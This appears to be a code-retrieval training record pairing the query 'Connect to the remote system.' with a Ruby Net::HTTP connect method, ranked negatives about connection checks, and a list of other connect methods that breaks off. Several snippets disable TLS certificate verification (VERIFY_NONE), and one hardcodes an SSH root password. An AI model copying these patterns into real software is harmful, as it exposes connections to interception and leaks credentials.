"def link_is_existent?(url)\n \tbegin\n\t uri = URI.parse(url)\n \t http_conn = Net::HTTP.new(uri.host, uri.port)\n \t resp, data = http_conn.head(\"/\" , nil)\n \t puts \"=== RESPONSE CODE #{resp.code}\"\n \t resp.code != \"404\"\n \trescue URI::InvalidURIError, Errno::ECONNREFUSED, SocketError\n \t\tfalse\n \tend\n end",
"def port_open?(server, port)\n http = Net::HTTP.start(server, port, open_timeout: 5, read_timeout: 5)\n response = http.head('/')\n response.code == '200'\n rescue Timeout::Error, SocketError, Errno::ECONNREFUSED\n false\n end",
"def url_active?\n begin\n response = Net::HTTP.get_response URI.parse(self.url)\n active_status = %w(200 301 302)\n active_status.include? response.code\n rescue\n false\n end \n end",
"def check_head(url)\n http_basic_authentication = SS::MessageEncryptor.http_basic_authentication\n\n redirection = 0\n max_redirection = SS.config.cms.check_links[\"max_redirection\"].to_i\n\n if url.match?(/^\\/\\//)\n url = @base_url.sub(/\\/\\/.*$/, url)\n elsif url[0] == \"/\"\n url = File.join(@base_url, url)\n end\n\n begin\n Timeout.timeout(@head_request_timeout) do\n ::URI.open url, proxy: true, redirect: false, http_basic_authentication: http_basic_authentication, progress_proc: ->(size) { raise \"200\" }\n end\n false\n rescue OpenURI::HTTPRedirect => e\n return false if redirection >= max_redirection\n redirection += 1\n url = e.uri\n retry\n rescue Timeout::Error\n return false\n rescue => e\n return e.to_s == \"200\"\n end\n end",
"def check_head(url)\n http_basic_authentication = SS::MessageEncryptor.http_basic_authentication\n\n redirection = 0\n max_redirection = SS.config.cms.check_links[\"max_redirection\"].to_i\n\n if url.match?(/^\\/\\//)\n url = @base_url.sub(/\\/\\/.*$/, url)\n elsif url[0] == \"/\"\n url = File.join(@base_url, url)\n end\n\n begin\n Timeout.timeout(@head_request_timeout) do\n ::URI.open url, proxy: true, redirect: false, http_basic_authentication: http_basic_authentication, progress_proc: ->(size) { raise \"200\" }\n end\n false\n rescue OpenURI::HTTPRedirect => e\n return false if redirection >= max_redirection\n redirection += 1\n url = e.uri\n retry\n rescue Timeout::Error\n return false\n rescue => e\n return e.to_s == \"200\"\n end\n end",
"def attempt_connection\n conn = Puppet.runtime[:http]\n\n response = conn.get(test_uri, headers: test_headers, options: options)\n unless response.code.to_i == expected_code\n Puppet.notice \"Unable to connect to the server or wrong HTTP code (expected #{expected_code}) (#{test_uri}): [#{response.code}] #{response.reason}\"\n return false\n end\n return true\n rescue StandardError => e\n Puppet.notice \"Unable to connect to the server (#{test_uri}): #{e.message}\"\n return false\n end",
"def check_connection\n return\n check = HTTParty.get(\"#{@host}/api/check_connection?api_key=#{@api_key}\")\n if check.nil? || check[\"status\"][\"code\"] < 0\n @helper.terminate(\"Script was unable to establish connection with dFile at #{@host}\")\n end\n end",
"def ssl?\n !!(@socket.respond_to?(:context) && @socket.context)\n end",
"def ssl?\n @headers[\"HTTPS\"] == \"on\"\n end",
"def can_connect_to_socket?\n UNIXSocket.open(sockfile)\n rescue Errno::ECONNREFUSED\n false\n end",
"def conn?\n conn != nil\n end",
"def http_and_https_proxy_working?(proxy_address)\n http_uri = URI('http://www.google.com/')\n https_uri = URI('https://www.google.com/')\n\n split_arr = proxy_address.split(':')\n proxy_host = split_arr[0]\n proxy_port = split_arr[1]\n\n http_success = web_proxy_health_check(proxy_host, proxy_port, http_uri)\n https_success = web_proxy_health_check(proxy_host, proxy_port, https_uri)\n\n if http_success && https_success\n return true\n end\n return false\n end",
"def established?\n !! @socket\n end",
"def is_healthy?\n if @real_socket == nil\n logger.debug \"Performing health check for #{self}\"\n begin\n request = Packet.pack_request(\"echo_req\", \"ping\")\n response = send_request(request, 3)\n logger.debug \"Health check response for #{self} is #{response.inspect}\"\n raise ProtocolError unless response[0] == :echo_res and response[1] == \"ping\"\n return true\n rescue NetworkError\n logger.debug \"NetworkError -- unhealthy\"\n return false\n rescue ProtocolError\n logger.debug \"ProtocolError -- unhealthy\"\n return false\n end\n end\n end",
"def accessible?\n # convenience method to check if wordpress is accessible\n # if we don't have this, the connection will take a long time to timeout\n timeout = 5 #seconds\n RestClient::Request.execute(:method => :head, :url => cms_host, :timeout => timeout)\n return true\n rescue RestClient::Exceptions::OpenTimeout => e\n Rails.logger.debug \"Could not connect to wordpress within #{timeout} seconds - Are you connected to the VPN?\"\n return false\n end",
"def link_alive?\n !!socket && !socket.closed? && !@dead && @disabled_tx == 0\n end",
"def remote?\n !(url =~ /^https?/).nil?\n end",
"def connectable?\n begin; ping; rescue; false; end\n end",
"def is_running?\n Faraday.get(@base_url + \"/\").status == 200\n end",
"def connected?()\n (self.remote_address rescue nil) ? true : false\n end",
"def is_connected?\n if @connection == nil\n return false\n else \n return true\n end\n end",
"def ssl?\n ssl\n end",
"def is_connected?\n\t\tif @connection == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend",
"def connections?\n @connections.any?\n end",
"def ssl_required?\r\n true\r\n end",
"def http_error?\n http_error.present?\n end",
"def ssl?\n ssl.present?\n end",
"def secure?\n @uri.port == 443\n end",
"def open?\n @connection.open?\n end",
"def cas_server_is_up?\n uri = URI.parse(login_url)\n \n log.debug \"Checking if CAS server at URI '#{uri}' is up...\"\n \n https = Net::HTTP.new(uri.host, uri.port)\n https.use_ssl = (uri.scheme == 'https')\n https.verify_mode = (@force_ssl_verification ? OpenSSL::SSL::VERIFY_PEER : OpenSSL::SSL::VERIFY_NONE)\n \n begin\n raw_res = https.start do |conn|\n conn.get(\"#{uri.path}?#{uri.query}\")\n end\n rescue Errno::ECONNREFUSED => e\n log.warn \"CAS server did not respond! (#{e.inspect})\"\n return false\n end\n \n log.debug \"CAS server responded with #{raw_res.inspect}:\\n#{raw_res.body}\"\n \n return raw_res.kind_of?(Net::HTTPSuccess)\n end",
"def url_exist?(url_string)\n encoded_url = URI.encode(url_string)\n url = URI.parse(encoded_url)\n req = Net::HTTP.new(url.host, url.port)\n req.use_ssl = (url.scheme == 'https')\n path = url.path if url.path\n\n # these if statements are dodgy to me, needs better test and writing utilities for URIs\n if path[0] == nil\n path.prepend(\"/\")\n end\n\n if path == nil || req == nil\n return false\n end\n\n # the script breaks here if the resquest fails, hence the resuce\n begin\n res = req.request_head(path)\n rescue\n return false\n\n end\n\n if res.kind_of?(Net::HTTPRedirection)\n url_exist?(res['location']) # Go after any redirect and make sure you can access the redirected URL\n else\n ! %W(4 5).include?(res.code[0]) # Not from 4xx or 5xx families\n end\n rescue Errno::ENOENT\n false #false if can't find the server\n end",
"def connection_in_info?\n info.respond_to?(:ood_connection_info)\n end",
"def check_connection\n one_wait = 5\n max_wait = 15\n request = Net::HTTP::Get.new('/selenium-server/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@host, @port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy,\n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy,\n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n p(\"-- ERROR: couldn't connect to Selenium RC on \" + @host)\n return false\n end\n return true\n end",
"def has_protocol?(url)\n url.start_with?('http://') || url.start_with?('https://')\n end",
"def ensure_http \n url.ensure_http\n end",
"def fetch_response\n connection? ? Net::HTTP.get_response(build_uri) : false\n end",
"def ssl_required?\n\t if get_config(\"SSL\") == \"true\"\n\t true\n\t else\n\t false\n\t end\n\t end",
"def use_secure_connection?\n @use_secure_connection\n end",
"def exists?\n # Unless the exception is hit we know its a 2xx response\n request(:head)\n true\n rescue Stretcher::RequestError::NotFound\n false\n end",
"def ssl_required?\n\t if get_config(\"SSL\") == \"true\"\n\t true\n\t else\n\t false\n\t end\n end",
"def attempt_connection\n # All that we care about is that we are able to connect successfully via\n # https, so here we're simpling hitting a somewhat arbitrary low-impact URL\n # on the scalemgmt server.\n http = Net::HTTP.new(scalemgmt_server, scalemgmt_port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(test_path, test_headers)\n request.basic_auth(api_user, api_password)\n\n response = http.request(request)\n unless response.is_a?(Net::HTTPSuccess)\n Puppet.notice \"Unable to connect to scalemgmt server (https://#{scalemgmt_server}:#{scalemgmt_port}): [#{response.code}] #{response.msg}\"\n return false\n end\n true\n rescue Exception => e # rubocop:disable Lint/RescueException\n Puppet.notice \"Unable to connect to scalemgmt server (https://#{scalemgmt_server}:#{scalemgmt_port}): #{e.message}\"\n false\n end",
"def ok?\n Net::HTTPSuccess === self || Net::HTTPRedirection === self\n end",
"def ssl_required?\n HTTPS_ON\n end",
"def connected?\n if @connection\n @connection.stat\n @connection.errno.zero?\n else\n false\n end\n end",
"def url_accessibility(url)\n open(url).status.last == 'OK'\n rescue ::SocketError, Timeout::Error, Errno::ECONNREFUSED, OpenURI::HTTPError\n false\n end",
"def connected?\n @connection && [email protected]?\n end",
"def websocket?\n @hash['HTTP_METHOD'] == 'GET' && @hash.key?('HTTP_SEC_WEBSOCKET_KEY')\n end",
"def non_empty_http_response?(http)\n http.response.present?\n end",
"def connectable?\n ProxyFetcher.config.proxy_validator.connectable?(addr, port)\n end",
"def connectable?\n ProxyFetcher.config.proxy_validator.connectable?(addr, port)\n end",
"def ssl?\n return ssl\n end",
"def ping_url(url)\n begin\n Net::HTTP.get(URI.parse(url))\n return true\n rescue\n return false\n end\n end",
"def doi_server_reachable?\n # Invoke the API and get response\n true\n end",
"def ssl?\n @uri.scheme == \"https\"\n end",
"def ssl?\n @uri.scheme == \"https\"\n end",
"def online?\n Browser.get(url).code != 0\n end",
"def ssl?\n uri_endpoint.scheme == 'https'\n end",
"def ssl_required?\n if get_config(\"SSL\") == \"true\"\n true\n else\n false\n end\n end",
"def is_ssl\n # TS_INFO: Returns true always\n # if ( isset( $_SERVER['HTTPS'] ) ) {\n # if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) {\n # return true;\n # }\n #\n # if ( '1' == $_SERVER['HTTPS'] ) {\n # return true;\n # }\n # } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {\n # return true;\n # }\n # return false;\n true\n end",
"def https?; end"
] | [
"0.76714796",
"0.74807435",
"0.7475508",
"0.73533094",
"0.7268616",
"0.72663385",
"0.7045703",
"0.6984151",
"0.6979347",
"0.6979347",
"0.6940969",
"0.68846214",
"0.6839425",
"0.66899",
"0.6687215",
"0.664199",
"0.66356665",
"0.6589685",
"0.65874153",
"0.65717095",
"0.6561397",
"0.6525768",
"0.6519348",
"0.65154064",
"0.64927673",
"0.64908004",
"0.64908004",
"0.6468431",
"0.6466463",
"0.6446602",
"0.6443087",
"0.64426476",
"0.64374155",
"0.6417948",
"0.6415768",
"0.64078116",
"0.6403939",
"0.63947153",
"0.6392417",
"0.6383838",
"0.63777876",
"0.6372702",
"0.63545066",
"0.635228",
"0.63491595",
"0.63491595",
"0.63451463",
"0.6339129",
"0.63092893",
"0.6308568",
"0.6298819",
"0.6288118",
"0.6284171",
"0.62826884",
"0.62732023",
"0.6263919",
"0.6262025",
"0.6261577",
"0.6253964",
"0.6250764",
"0.6248986",
"0.62458676",
"0.62390655",
"0.62360203",
"0.6225964",
"0.6218769",
"0.6215172",
"0.62058055",
"0.61991906",
"0.6198901",
"0.6183879",
"0.6175499",
"0.61727816",
"0.61715144",
"0.6169579",
"0.6168156",
"0.61587745",
"0.6153008",
"0.61527735",
"0.61483496",
"0.6146069",
"0.613219",
"0.6130837",
"0.6123114",
"0.61170727",
"0.6116201",
"0.6116016",
"0.6111575",
"0.61084175",
"0.61065376",
"0.61065376",
"0.609459",
"0.6093802",
"0.6092871",
"0.6090345",
"0.6090345",
"0.6082443",
"0.6081319",
"0.6080998",
"0.6072402",
"0.60705644"
] | 0.0 | -1 |
Connect to the remote system. | def connect!
@connection = Net::HTTP.new(@server, 80)
if @ssl
@connection.use_ssl = true
@connection.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
@connection.start
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def connect\n @comm.connect(opts.user, opts.password, opts.server)\n end",
"def connect!\n @ssh = Net::SSH.start(@host, @user, :password => @pass)\n end",
"def connect\n info \"Connecting to #{ @host }\"\n\n begin @session.open(@credentials)\n rescue Exception => e\n error e.message\n end\n \n info \"Transport is #{ @session.transport.class }\"\n end",
"def connect_to_server\n fail \"connect_server called without remote established\" if @remote.nil?\n host, port = @remote\n LOGGER.info \"Establishing new connection with #{host}:#{port}\"\n @server_side = ServerConnection.request(host, port, self)\n @server_side.pending_connect_timeout = @connect_timeout\n @server_side.comm_inactivity_timeout = @inactivity_timeout\n end",
"def connect\n platform.connect\n end",
"def connect\n TCPSocket.open(@host, @port)\n end",
"def connect\n return true if connected?\n\n cmd = ssh_cmd quote_cmd(LOGIN_LOOP), :sudo => false\n\n @parent_pid, inn, out, err = popen4 cmd.join(\" \")\n inn.sync = true\n\n data = \"\"\n ready = nil\n start_time = Time.now.to_i\n\n until ready || out.eof?\n data << out.readpartial(1024)\n ready = data =~ /ready/\n\n raise TimeoutError if timed_out?(start_time, LOGIN_TIMEOUT)\n end\n\n unless connected?\n disconnect\n host_info = [@user, @host].compact.join(\"@\")\n raise ConnectionError, \"Can't connect to #{host_info}\"\n end\n\n inn.close rescue nil\n out.close rescue nil\n err.close rescue nil\n\n @parent_pid\n end",
"def ssh\n @ssh ||= @remote.connect\n @remote\n end",
"def connect\n unless connected?\n hostname = 'api.syncano.com'\n port = 8200\n\n sleep(3)\n\n Thread.new do\n begin\n EM.run do\n EM.connect(hostname, port, Syncano::SyncConnection)\n end\n rescue Exception => e\n p e.message\n p e.backtrace\n end\n end\n\n timeout = 30\n\n while connection.blank? && timeout > 0\n timeout -= 1\n sleep 1\n end\n\n raise ::Syncano::ConnectionError.new('Connection timeout') unless timeout > 0\n\n timeout = 300\n\n while (response = connection.get_response('auth')).blank? && timeout > 0\n timeout -= 1\n sleep 1.0/10.0\n end\n\n raise ::Syncano::ConnectionError.new(response.error) if response.status == 'NOK'\n end\n end",
"def connect\n connection.connect\n nil\n end",
"def connect(opts={})\n if Mario::Platform.windows?\n raise Errors::SSHUnavailableWindows, :key_path => env.config.ssh.private_key_path,\n :ssh_port => port(opts)\n end\n\n raise Errors::SSHUnavailable if !Kernel.system(\"which ssh > /dev/null 2>&1\")\n\n options = {}\n options[:port] = port(opts)\n [:host, :username, :private_key_path].each do |param|\n options[param] = opts[param] || env.config.ssh.send(param)\n end\n\n check_key_permissions(options[:private_key_path])\n\n # Command line options\n command_options = [\"-p #{options[:port]}\", \"-o UserKnownHostsFile=/dev/null\",\n \"-o StrictHostKeyChecking=no\", \"-o IdentitiesOnly=yes\",\n \"-i #{options[:private_key_path]}\"]\n command_options << \"-o ForwardAgent=yes\" if env.config.ssh.forward_agent\n\n if env.config.ssh.forward_x11\n # Both are required so that no warnings are shown regarding X11\n command_options << \"-o ForwardX11=yes\"\n command_options << \"-o ForwardX11Trusted=yes\"\n end\n\n # Some hackery going on here. On Mac OS X Leopard (10.5), exec fails\n # (GH-51). As a workaround, we fork and wait. On all other platforms,\n # we simply exec.\n pid = nil\n pid = fork if Util::Platform.leopard? || Util::Platform.tiger?\n Kernel.exec \"ssh #{command_options.join(\" \")} #{options[:username]}@#{options[:host]}\".strip if pid.nil?\n Process.wait(pid) if pid\n end",
"def connect()\n @s = @s || TCPsocket.open(@host, @port)\n end",
"def connect\n @connection_manager.connect\n end",
"def connect!\n Timeout::timeout(5) do\n self.remote = TCPSocket.new(host, port)\n end\n rescue Timeout::Error => e\n raise ConnectionTimeoutError\n rescue\n raise CannotConnectError\n end",
"def connect_to_server\n @service.connect(connect_settings)\n end",
"def connect\n auth = authentication_prompt()\n\n socket = TCPSocket.new( @server, @port )\n raise RuntimeError, \"Unable to connect to #{@port}\" unless socket\n print \"Connecting at #{Time.now} to #{@port} ... \"\n\n authenticate_with_server( socket, auth[:u], auth[:p] )\n\n return socket\n end",
"def connect(silent = false)\n info \"starting ssh session to #{config.host}:#{config.port} ...\" unless silent\n options = { :port => config.port, :keys => [config.private_key_path] }\n @shell = Net::SSH.start(config.host, config.username, options).shell\n end",
"def connect (host, username,port=22)\n begin\n pw = get_password(host, username)\n\n tunnelhost = host\n if @connections.key?(host.to_sym)\n port = @connections[host.to_sym]\n tunnelhost = 'localhost'\n @@log.debug(\"Found local-port forward on port \"+port.to_s) \n end\n\n @connections[host.to_sym] = Net::SSH.start(tunnelhost, username, :password => pw, :port => port)\n rescue Net::SSH::AuthenticationFailed\n retry\n end\n end",
"def connect\n @connection.open\n end",
"def connect(silent = false)\n info \"starting ssh session to #{config.host}:#{config.port} ...\" unless silent\n Travis::Worker::Utils::HardTimeout.timeout(15) do\n @connector.connect\n end\n if @config.platform == :osx\n info \"unlocking keychain\" unless silent\n exec(\"security unlock-keychain -p #{config.keychain_password}\")\n end\n true\n rescue Timeout::Error\n warn \"Timed out attempting to open SSH connection\"\n raise\n end",
"def connect!\n @socket = @socket_factory.open( @socket_name )\n\n # determine what type of agent we're communicating with\n buffer = @buffers.writer\n buffer.write_string Net::SSH::Transport::Session.version\n type, body = send_with_reply SSH2_AGENT_REQUEST_VERSION, buffer\n\n if type == SSH2_AGENT_VERSION_RESPONSE\n raise NotImplementedError, \"SSH2 agents are not yet supported\"\n elsif type != SSH_AGENT_RSA_IDENTITIES_ANSWER\n raise AgentError,\n \"unknown response from agent: #{type}, #{body.to_s.inspect}\"\n end\n end",
"def connect(target, port = 6667, remote = nil)\n raw \"CONNECT #{target} #{port} #{remote}\".strip << \"\\r\\n\"\n end",
"def connect\n begin\n @mSocket = Net::Telnet::new(\"Host\" => @mHostname,\"Port\" => @mPort)\n print(\"addr| \", @mSocket.addr.join(\":\"), \"\\n\")\n print(\"peer| \", @mSocket.peeraddr.join(\":\"), \"\\n\")\n @mSocket.puts \"USER rubybot 0 * Testing\"\n @mSocket.puts \"NICK #{@mNick}\"\n @mSocket.puts \"JOIN #{@mChannel}\"\n @mSocket.puts \"PRIVMSG NickServ identify ruby-bot\"\n\n # Status of -1 is active / connected\n # I know, this doesn't make much sense\n @mStatus = -1\n\n # print the silly message for the lolz\n rubicante_message \n rescue SocketError\n storeDebug(\"can't connect\")\n end\n end",
"def connect\n begin\n port = get_debugger_port\n rescue\n # Sometimes this will fail if we don't wait long enough, try one more time\n sleep(2)\n port = get_debugger_port\n end\n connect_host_port(\"localhost\", port)\n end",
"def spawn_connection\n connect\n end",
"def connect()\n @sock = TCPSocket.open(@server, @port)\n end",
"def connect\n @cluster.connect\n end",
"def connect\n configuration = VSphereAutomation::Configuration.new.tap do |c|\n c.host = config[:vcenter_host]\n c.username = config[:vcenter_username]\n c.password = config[:vcenter_password]\n c.scheme = \"https\"\n c.verify_ssl = config[:vcenter_disable_ssl_verify] ? false : true\n c.verify_ssl_host = config[:vcenter_disable_ssl_verify] ? false : true\n end\n\n @api_client = VSphereAutomation::ApiClient.new(configuration)\n api_client.default_headers[\"Authorization\"] = configuration.basic_auth_token\n\n session_api = VSphereAutomation::CIS::SessionApi.new(api_client)\n session_id = session_api.create(\"\").value\n\n api_client.default_headers[\"vmware-api-session-id\"] = session_id\n end",
"def connect \n log \"Connecting\"\n @socket = TCPSocket.new(config[:server], 6667)\n write \"USER #{config[:nick]} #{config[:nick]} #{config[:nick]} :#{config[:nick]}\"\n write \"NICK #{config[:nick]}\"\n write \"JOIN ##{config[:channel]}\"\n end",
"def connect_to_host(host,port,user,password,sftp=false)\n begin\n if sftp\n @log.info(\"SFTP connect to host #{host}:#{port}\")\n @ssh_connect = Net::SFTP.start(host,user,:password=>password,:port=>port)\n else\n @log.info(\"SSH connect to host #{host}:#{port}\")\n @ssh_connect = Net::SSH.start(host,user,:password=>password,:port=>port)\n end\n rescue Exception => error\n @log.error(\"#{error}\")\n exit\n end\n end",
"def connect_server(hostname)\n exec \"ssh #{hostname}\"\n exit 0\n end",
"def connect_to_unit\n puts \"Connecting to '#{@host}...\"\n begin\n tcp_client = TCPSocket.new @host, @port\n @ssl_client = OpenSSL::SSL::SSLSocket.new tcp_client, @context\n @ssl_client.connect\n rescue Exception => e\n puts \"Could not connect to '#{@host}: #{e}\"\n end\n end",
"def connect(options)\n # @api_client = establish_remote_appliance_connection(options)\n @api_client = establish_remote_appliance_connection(options.merge({:skip_verify_access_token => true, :skip_login => true}))\n @whoami_interface = @api_client.whoami\n end",
"def connect\n @interface.connect\n end",
"def connect_to_server\n @socket = TCPSocket.open(@serverip, @serverport)\n end",
"def connect\n connection.tap do |c|\n c.start\n end\n end",
"def server_connect(target, port, remote = nil)\n send_data(\"CONNECT #{target} #{port} #{remote}\".strip)\n end",
"def local_connect(body)\n host = _pop_token(body)\n port = _pop_token(body).to_i\n if host.length < 1\n begin\n host, port = @var[:last_connection]\n rescue\n raise \"usage: /connect <hostname> [port]\"\n end\n end\n port = 9000 if port == 0\n begin\n connect(host, port)\n @var[:last_connection] = [ host, port ]\n _save_env\n rescue\n _notice \"Could not connect to #{host}:#{port} - #{$!}\", :error\n end\nend",
"def connect\n @socket = TCPSocket.open @host, @port\n @connected = [email protected]?\n end",
"def connect(host, user, pass)\n target = Net::Telnet.new(\"Host\" => host, \"Timeout\" => 5)\n begin\n target.login(user, pass)\n true\n rescue\n false\n end\n end",
"def ssh_connection\n @ssh_connection ||= Net::SSH.start(@host, config[:user], config[:ssh_options] || {})\n end",
"def establish_connection(opts)\n retry_connection(opts) do\n Net::SSH.start(hostname, username, options)\n end\n end",
"def conn(pty_needed=false)\n Scutil.find_connection(@hostname, @username, pty_needed=false, @options)\n end",
"def start\n self.connect\n self.login if @connected\n end",
"def connect\n Connection.new\n end",
"def establish_remote_server(remote)\n fail \"establish_remote_server called with remote established\" if @remote\n m, host, port = *remote.match(/^(.+):(.+)$/)\n @remote = [host, port]\n connect_to_server\n end",
"def ssh\n @_ssh ||= Net::SSH.start(host, user, options)\n end",
"def connect\n client.connect(config.host, config.port)\n client.auth(config.password)\n client.send(Jabber::Presence.new.set_type(:available))\n\n self.roster = Jabber::Roster::Helper.new(client)\n roster.wait_for_roster\n\n self.rooms = self.config.rooms.collect do |room_name|\n Robut::Room.new(self, room_name).tap {|r| r.join }\n end\n\n if self.config.enable_private_messaging\n Robut::PM.new(self, rooms)\n end\n\n trap_signals\n self\n end",
"def connect\n end",
"def connect\n @connection.create\n end",
"def ssh\n @ssh ||= Net::SSH.start(self, self['user'] || \"root\" , self['ssh'])\n end",
"def connect\n nodes.each do |k,v|\n rs_storage = RSpec.configuration.rs_storage[:nodes][k]\n raise RuntimeError, \"No internal storage for node #{k}\" if rs_storage.nil?\n\n ipaddress = rs_storage[:ipaddress]\n raise RuntimeError, \"No ipaddress provided from launch phase for node #{k}\" if ipaddress.nil?\n\n chan = ssh_connect(:host => k, :user => 'root', :net_ssh_options => {\n :keys => vmconf[:ssh_keys].split(\":\"),\n :host_name => ipaddress,\n })\n RSpec.configuration.rs_storage[:nodes][k][:ssh] = chan\n end\n\n nil\n end",
"def establish_connection\n if @socket.nil?\n @socket = TCPSocket.new(@host, @port)\n end\n end",
"def establish_connection\n if @socket.nil?\n @socket = TCPSocket.new(@host, @port)\n end\n end",
"def connect(username, password, server)\n jid = \"#{username}@#{server}\"\n client.setup(jid, password)\n client.run\n end",
"def connect!\n start_em\n @client.ensure_connect\n end",
"def connect\n if @connection && [email protected]?\n # There is a chance that the socket is closed despite us checking\n # 'closed?' above. To test this we need to send data through the\n # socket.\n begin\n @connection.exec!(\"\")\n rescue IOError\n @logger.info(\"Connection has been closed. Not re-using.\")\n @connection = nil\n end\n\n # If the @connection is still around, then it is valid,\n # and we use it.\n if @connection\n @logger.debug(\"Re-using SSH connection.\")\n return yield @connection if block_given?\n return\n end\n end\n\n # XXX: We need to raise some exception if SSH is not ready\n ssh_info = @machine.ssh_info\n\n # Build the options we'll use to initiate the connection via Net::SSH\n opts = {\n :port => ssh_info[:port],\n :keys => [ssh_info[:private_key_path]],\n :keys_only => true,\n :user_known_hosts_file => [],\n :paranoid => false,\n :config => false,\n :forward_agent => ssh_info[:forward_agent]\n }\n\n # Check that the private key permissions are valid\n Vagrant::Util::SSH.check_key_permissions(ssh_info[:private_key_path])\n\n # Connect to SSH, giving it a few tries\n connection = nil\n begin\n exceptions = [Errno::ECONNREFUSED, Net::SSH::Disconnect, Timeout::Error]\n connection = retryable(:tries => @machine.config.ssh.max_tries, :on => exceptions) do\n Timeout.timeout(@machine.config.ssh.timeout) do\n @logger.info(\"Attempting to connect to SSH: #{ssh_info[:host]}:#{ssh_info[:port]}\")\n Net::SSH.start(ssh_info[:host], ssh_info[:username], opts)\n end\n end\n rescue Timeout::Error\n # This happens if we continued to timeout when attempting to connect.\n raise Vagrant::Errors::SSHConnectionTimeout\n rescue Net::SSH::AuthenticationFailed\n # This happens if authentication failed. We wrap the error in our\n # own exception.\n raise Vagrant::Errors::SSHAuthenticationFailed\n rescue Net::SSH::Disconnect\n # This happens if the remote server unexpectedly closes the\n # connection. This is usually raised when SSH is running on the\n # other side but can't properly setup a connection. This is\n # usually a server-side issue.\n raise Vagrant::Errors::SSHDisconnected\n rescue Errno::ECONNREFUSED\n # This is raised if we failed to connect the max amount of times\n raise Vagrant::Errors::SSHConnectionRefused\n rescue NotImplementedError\n # This is raised if a private key type that Net-SSH doesn't support\n # is used. Show a nicer error.\n raise Vagrant::Errors::SSHKeyTypeNotSupported\n end\n\n @connection = connection\n\n # This is hacky but actually helps with some issues where\n # Net::SSH is simply not robust enough to handle... see\n # issue #391, #455, etc.\n sleep 4\n\n # Yield the connection that is ready to be used and\n # return the value of the block\n return yield connection if block_given?\n end",
"def connect(host=nil, user=nil, passwd=nil, db=nil, port=nil, socket=nil, flag=nil)\n @protocol = Protocol.new host, port, socket, @connect_timeout, @read_timeout, @write_timeout\n @protocol.authenticate user, passwd, db, (@local_infile ? CLIENT_LOCAL_FILES : 0) | (flag || 0), @charset\n @charset ||= @protocol.charset\n @host_info = (host.nil? || host == \"localhost\") ? 'Localhost via UNIX socket' : \"#{host} via TCP/IP\"\n query @init_command if @init_command\n return self\n end",
"def connect(host = DEFAULT_HOST, port = DEFAULT_PORT)\n self.socket = create_socket(host, port)\n\n identify\n\n remote_host = socket.peeraddr[3]\n remote_port = socket.peeraddr[1]\n\n logger.info(\"Connected to #{remote_host}:#{remote_port}.\")\n return true\n rescue Errno::ECONNREFUSED\n logger.error('Connection refused! Is the Broker running?')\n return false\n end",
"def run\n connect\n end",
"def connect(username, password)\n @username, @password = username, password\n\n @read_thread = self.class.start_read_thread(helper, @socket.getInputStream)\n @write_thread = self.class.start_write_thread(helper, @socket.getOutputStream)\n @write_thread.send_cmd CMD00_ConnectRequest.new\n end",
"def connect\n @connector.connect\n @p.set_connection @connector\n end",
"def remote_connect(host,user,password)\n log_file = File.open(File.join(\"log\",host+\".log\"),\"w+\")\n begin\n #send_as_root(host,user,password)\n @error = []\n Net::SSH.start(host,user,:password=>password) do |ssh|\n puts host+\" connected.\"\n send_all ssh\n exec ssh,log_file,\"bash #{@filename+'.sh'}\"\n end\n if @error.size!=0\n puts \"ERROR OCCURS:\"\n end\n @error.each do |str|\n puts str\n end\n end while @error.size != 0\n log_file.close\n end",
"def return_client()\n Net::SSH.start('qa-host','root',:password=>'fortigate')\nend",
"def connect\n require 'osc-ruby' unless defined?(::OSC)\n port = additional_params[:port] || 3333\n @client = OSC::Server.new(port)\n super\n end",
"def connect_to_mycroft\n if ARGV.include?(\"--no-tls\")\n @client = TCPSocket.open(@host, @port)\n else\n socket = TCPSocket.new(@host, @port)\n ssl_context = OpenSSL::SSL::SSLContext.new\n ssl_context.cert = OpenSSL::X509::Certificate.new(File.open(@cert))\n ssl_context.key = OpenSSL::PKey::RSA.new(File.open(@key))\n @client = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)\n begin\n @client.connect\n rescue\n end\n end\n end",
"def connect &block\n options = {password: password }.merge(@net_ssh_options)\n Net::SFTP.start(host, username, options) do |sftp|\n connection = Euromail::SFTPConnection.new(self, sftp)\n block.call(connection)\n end\n end",
"def initialize(host, user, password)\n @host = host\n @connection = Net::SSH.start(@host, user, :password => password)\n end",
"def connect\n Drone::Client.connect\n end",
"def connection\n Net::SSH.start(\n ip, username, :password => password, :port => port\n ) {|ssh| yield ssh }\n end",
"def connect!\n end",
"def connect(global = true, verbose = true)\n\t\tprint_status(\"Connecting to IRC server #{rhost}:#{rport}...\") if verbose\n\n\t\tfd = super(global)\n\t\n\t\t# Wait for a banner to arrive...\n\t\tself.banner = fd.get\n\n\t\tprint_status(\"Connected to target IRC server.\") if verbose\n\t\n\t\t# Return the file descriptor to the caller\n\t\tfd\n\tend",
"def connect(&block)\n options = { port: @port }\n\n if @password then\n options[:password] = @password\n else\n options[:keys] = @key\n end\n\n if block\n Net::SSH.start @host, @user, options do |ssh|\n @ssh = ssh\n yield ssh\n @ssh = nil\n end\n else\n @ssh = Net::SSH.start @host, @user, options\n end\n end",
"def connect\n begin\n @socket_server = TCPSocket.open(@host, @port.to_i)\n rescue Errno::ECONNREFUSED => e\n raise PcapLogger::SocketWriterException.new(\"Cannot connect to host: #{@host} on port: #{@port}\")\n end\n end",
"def establish_connection(options={})\n\t\tconnection.ensure_tunnel(options)\n\tend",
"def connection(options = {})\n @connection ||= Net::SSH::Connection::Session.new(transport(options), options)\n end",
